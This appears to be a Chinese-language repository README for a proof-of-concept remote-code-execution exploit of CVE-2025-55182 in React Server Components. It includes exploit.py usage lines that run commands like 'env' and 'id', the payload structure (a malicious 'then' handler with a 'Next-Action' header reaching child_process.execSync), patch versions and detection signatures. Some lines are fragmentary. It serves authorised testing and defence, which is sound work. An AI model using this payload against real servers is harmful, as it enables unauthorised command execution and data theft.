
CVE-2025-55182(React2Shell)的概念验证利用,React Server Components中通过不安全反序列化导致的严重RCE漏洞。包含利用脚本、易受攻击应用设置和检测签名,用于授权安全测试。
本仓库包含 CVE-2025-55182 的概念验证代码,这是一个 React Server Components 中的严重远程代码执行漏洞。仅供 授权的安全测试和研究目的 使用。
React:
Next.js:
该漏洞利用了 React Server Components Flight 协议中的不安全反序列化。当服务器接收到特制的 payload 时,它未能正确验证结构便进行反序列化,从而允许攻击者控制的数据操纵服务器端执行。
then 方法process.mainModule.require('child_process') 在服务器上执行任意 JavaScriptnpm install
npm run dev
服务器将在 http://localhost:3000 启动
app/
├── page.js # 包含 ServerForm 的主页面
├── ServerForm.js # 包含表单的客户端组件
├── actions.js # 存在漏洞的服务器操作
└── layout.js # 根布局
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: 目标 URL(必需)-c, --command: 要执行的 shell 命令(默认: id)--check-only: 仅检查目标是否看起来存在漏洞检查目标是否存在漏洞:
python3 exploit.py -t http://localhost:3000 --check-only
执行任意命令:
# 获取用户信息
python3 exploit.py -t http://localhost:3000 -c "id"
# 列出文件
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# 创建文件作为 PoC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# 读取环境变量
python3 exploit.py -t http://localhost:3000 -c "env"
该漏洞利用使用了多部分表单数据,其中:
字段 "0": 包含自定义 'then' 处理器的恶意 JSON
字段 "1": 对字段 0 的引用 ($@0)
标头: Next-Action: x(触发 RSC 处理)
该 payload 操纵内部 _response 对象以执行:
process.mainModule.require('child_process').execSync('<command>')
更新 React:
npm install [email protected] [email protected]
更新 Next.js:
npm install [email protected] # 或最新补丁版本
Next-Action 头部的 RSC 端点发送意外的 POST 请求$@ 引用的多部分表单数据 payloadthen 属性POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...包含 {"then":"$@
此概念验证仅用于 教育和授权的安全测试目的。未经授权访问计算机系统是违法的。作者不对滥用此信息承担任何责任。
请勿:
MIT 许可证 - 仅供安全研究用途